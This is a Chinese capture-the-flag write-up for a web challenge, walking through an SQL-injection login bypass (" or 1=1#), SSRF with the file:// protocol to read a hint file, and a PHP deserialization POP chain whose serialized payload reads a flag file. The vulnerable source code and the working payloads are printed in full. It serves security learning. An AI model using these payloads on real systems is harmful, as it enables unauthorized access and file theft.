前言
考察sql注入(万能密码),ssrf(file协议),反序列化(pop链构造)
一、题目
二、题解
Part 1
启动环境发现是一个简单的登陆页面
先上万能密码
" or 1=1#
此处也可以使用sql注入,查询用户表,得到用户名为admin,密码为12345678
Part 2
提示/tmp/hint.php,观察地址栏提示的ssrf以及?path=
尝试使用伪协议发现php://被过滤(www也被过滤)
只能选用file协议来访问文件
?path=file:///tmp/hint.php
在hint.php找到疑似源代码
Part 3
将源代码扒下来整理好格式开始审计
<?php
error_reporting(0);
/*
* flag in /home/flaaag.txt and go to flag.php
*
*/
class A extends service {
public $event;
function __construct($event)
{
$this->event = $event;
}
function __destruct()
{
$flag = $this->event["name"];//__get
return $this->$flag();
}
}
class read
{
public $filename;
function __construct($filename)
{
$this->filename = $filename;
}
function __toString()
{
if (isset($this->filename))
{
$res = file_get_contents($this->filename);
}
else
{
$res = "nonononono";
}
return $res;
}
}
class test
{
public $file;
function __construct($f)
{
$this->file = $f;
}
function __get($txey)
{
echo $this->file;
}
}
class service
{
public $server;
public $str;
function __call($method, $args)
{
if (is_string($this->server->str))
{
echo "hello" . $method . $this->server->str;
}
else
{
die("");
}
}
}
if (isset($_GET["cmd"]))
{
unserialize($_GET["cmd"]);
}
else { echo "now get flag!"; }
按照提示访问flag.php
if (isset($_GET["cmd"]))
{
unserialize($_GET["cmd"]);
}
else { echo "now get flag!"; }
在没有传入cmd值得情况下会显示now get flag!
由此确定该源码为flag.php得源码
代码审计初步确认此处应该使用反序列化漏洞构造pop链来访问/home/flaaag.txt
$age=array("name"=>"pp");
$a=new A($age);
$r=new read('/home/flaaag.txt');
$t=new test($r);
$a->server=$t;
echo serialize($a);
echo unserialize(serialize($a));
$t=new test($a);
$f=new read($t);
$sf=serialize($f);
echo unserialize($sf);
在本地构造如上pop链后运行得到payload
?cmd=O:1:"A":3:{s:5:"event";a:1:{s:4:"name";s:2:"pp";}s:6:"server";O:4:"test":1:{s:4:"file";O:4:"read":1:{s:8:"filename";s:16:"/home/flaaag.txt";}}s:3:"str";N;}
得到flag!